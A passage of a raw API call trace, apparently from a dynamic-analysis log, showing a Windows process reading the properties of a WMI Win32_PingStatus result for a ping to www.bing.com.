puCount=0x59fe774*=0x2) returned 0x0 [0141.656] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0141.656] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.657] IWbemClassObject:GetNames (in: This=0x5ce3798, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe77c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe770 | out: pNames=0x59fe770*="\x01ƀ\x04") returned 0x0 [0141.657] SafeArrayGetDim (psa=0x5cea250) returned 0x1 [0141.657] SafeArrayGetDim (psa=0x5cea250) returned 0x1 [0141.657] SafeArrayGetLBound (in: psa=0x5cea250, nDim=0x1, plLbound=0x59fe608 | out: plLbound=0x59fe608) returned 0x0 [0141.657] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.657] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.657] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.657] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.657] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.657] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.657] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.657] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.657] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.657] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.657] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.657] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.657] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.657] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.657] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.657] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.657] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.657] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.657] SysStringByteLen (bstr="__PATH") returned 0xc [0141.658] SysStringByteLen (bstr="__PATH") returned 0xc [0141.658] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__GENUS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b118c*=0, plFlavor=0x28b1190*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x28b118c*=3, plFlavor=0x28b1190*=64) returned 0x0 [0141.658] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b11c0*=0, plFlavor=0x28b11c4*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28b11c0*=8, plFlavor=0x28b11c4*=64) returned 0x0 [0141.658] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.658] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.658] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b1218*=0, plFlavor=0x28b121c*=0 | out: pVal=0x59fe76c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b1218*=8, plFlavor=0x28b121c*=64) returned 0x0 [0141.658] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DYNASTY", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b1240*=0, plFlavor=0x28b1244*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28b1240*=8, plFlavor=0x28b1244*=64) returned 0x0 [0141.658] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.658] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.658] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__RELPATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b1298*=0, plFlavor=0x28b129c*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28b1298*=8, plFlavor=0x28b129c*=64) returned 0x0 [0141.658] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.658] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.658] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b1470*=0, plFlavor=0x28b1474*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x28b1470*=3, plFlavor=0x28b1474*=64) returned 0x0 [0141.659] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DERIVATION", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b14a4*=0, plFlavor=0x28b14a8*=0 | out: pVal=0x59fe76c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea220*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28b14a4*=8200, plFlavor=0x28b14a8*=64) returned 0x0 [0141.659] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SERVER", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b14d8*=0, plFlavor=0x28b14dc*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x28b14d8*=8, plFlavor=0x28b14dc*=64) returned 0x0 [0141.659] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.659] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.659] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b1524*=0, plFlavor=0x28b1528*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28b1524*=8, plFlavor=0x28b1528*=64) returned 0x0 [0141.659] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.659] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.659] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b1570*=0, plFlavor=0x28b1574*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28b1570*=8, plFlavor=0x28b1574*=64) returned 0x0 [0141.659] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.659] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.659] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe7b0 | out: puCount=0x59fe7b0*=0x2) returned 0x0 [0141.659] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0x0, pszText=0x0 | out: puBuffLength=0x59fe7ac*=0xf, pszText=0x0) returned 0x0 [0141.659] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe7ac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.660] IWbemClassObject:Get (in: This=0x5ce3798, wszName="BufferSize", lFlags=0, pVal=0x59fe7ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b17a4*=0, plFlavor=0x28b17a8*=0 | out: pVal=0x59fe7ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x28b17a4*=19, plFlavor=0x28b17a8*=0) returned 0x0 [0141.660] IWbemClassObject:Get (in: This=0x5ce3798, wszName="BufferSize", lFlags=0, pVal=0x59fe860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b17a4*=19, plFlavor=0x28b17a8*=0 | out: pVal=0x59fe860*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x28b17a4*=19, plFlavor=0x28b17a8*=0) returned 0x0 [0141.660] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0141.660] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0141.660] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.660] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0141.660] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0141.660] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.660] IWbemClassObject:GetNames (in: This=0x5ce3798, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe748*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe73c | out: pNames=0x59fe73c*="\x01ƀ\x04") returned 0x0 [0141.660] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0141.660] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0141.660] SafeArrayGetLBound (in: psa=0x5cea0d0, nDim=0x1, plLbound=0x59fe5d4 | out: plLbound=0x59fe5d4) returned 0x0 [0141.661] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.661] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.661] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.661] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.661] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.661] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.661] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.661] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.661] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.661] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.661] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.661] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.661] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.661] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.661] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.661] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.661] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.661] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.661] SysStringByteLen (bstr="__PATH") returned 0xc [0141.661] SysStringByteLen (bstr="__PATH") returned 0xc [0141.661] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__GENUS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b1cd0*=0, plFlavor=0x28b1cd4*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x28b1cd0*=3, plFlavor=0x28b1cd4*=64) returned 0x0 [0141.662] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b1d04*=0, plFlavor=0x28b1d08*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28b1d04*=8, plFlavor=0x28b1d08*=64) returned 0x0 [0141.662] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.662] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.662] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b1d5c*=0, plFlavor=0x28b1d60*=0 | out: pVal=0x59fe738*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b1d5c*=8, plFlavor=0x28b1d60*=64) returned 0x0 [0141.662] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DYNASTY", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b1d84*=0, plFlavor=0x28b1d88*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28b1d84*=8, plFlavor=0x28b1d88*=64) returned 0x0 [0141.662] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.662] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.662] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__RELPATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b1ddc*=0, plFlavor=0x28b1de0*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28b1ddc*=8, plFlavor=0x28b1de0*=64) returned 0x0 [0141.662] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.662] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.662] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b1fb4*=0, plFlavor=0x28b1fb8*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x28b1fb4*=3, plFlavor=0x28b1fb8*=64) returned 0x0 [0141.663] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DERIVATION", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b1fe8*=0, plFlavor=0x28b1fec*=0 | out: pVal=0x59fe738*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea1f0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28b1fe8*=8200, plFlavor=0x28b1fec*=64) returned 0x0 [0141.663] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SERVER", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b201c*=0, plFlavor=0x28b2020*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x28b201c*=8, plFlavor=0x28b2020*=64) returned 0x0 [0141.663] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.663] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.663] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b2068*=0, plFlavor=0x28b206c*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28b2068*=8, plFlavor=0x28b206c*=64) returned 0x0 [0141.663] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.663] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.663] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b20b4*=0, plFlavor=0x28b20b8*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28b20b4*=8, plFlavor=0x28b20b8*=64) returned 0x0 [0141.664] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.664] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.664] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe77c | out: puCount=0x59fe77c*=0x2) returned 0x0 [0141.664] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0x0, pszText=0x0 | out: puBuffLength=0x59fe778*=0xf, pszText=0x0) returned 0x0 [0141.664] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe778*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.664] IWbemClassObject:Get (in: This=0x5ce3798, wszName="ResponseTime", lFlags=0, pVal=0x59fe778*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b22e8*=0, plFlavor=0x28b22ec*=0 | out: pVal=0x59fe778*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1d, varVal2=0x0), pType=0x28b22e8*=19, plFlavor=0x28b22ec*=0) returned 0x0 [0141.664] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0141.664] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0141.664] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.664] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0141.664] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0141.664] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.664] IWbemClassObject:GetNames (in: This=0x5ce3798, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe77c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe770 | out: pNames=0x59fe770*="\x01ƀ\x04") returned 0x0 [0141.665] SafeArrayGetDim (psa=0x5cea220) returned 0x1 [0141.665] SafeArrayGetDim (psa=0x5cea220) returned 0x1 [0141.665] SafeArrayGetLBound (in: psa=0x5cea220, nDim=0x1, plLbound=0x59fe608 | out: plLbound=0x59fe608) returned 0x0 [0141.665] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.665] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.665] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.665] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.665] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.665] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.665] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.665] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.665] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.665] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.665] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.666] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.666] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.666] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.666] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.666] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.666] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.666] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.666] SysStringByteLen (bstr="__PATH") returned 0xc [0141.666] SysStringByteLen (bstr="__PATH") returned 0xc [0141.666] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__GENUS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b26a8*=0, plFlavor=0x28b26ac*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x28b26a8*=3, plFlavor=0x28b26ac*=64) returned 0x0 [0141.666] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b26dc*=0, plFlavor=0x28b26e0*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28b26dc*=8, plFlavor=0x28b26e0*=64) returned 0x0 [0141.666] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.666] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.667] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b2734*=0, plFlavor=0x28b2738*=0 | out: pVal=0x59fe76c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b2734*=8, plFlavor=0x28b2738*=64) returned 0x0 [0141.667] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DYNASTY", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b275c*=0, plFlavor=0x28b2760*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28b275c*=8, plFlavor=0x28b2760*=64) returned 0x0 [0141.667] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.667] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.667] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__RELPATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b27b4*=0, plFlavor=0x28b27b8*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, 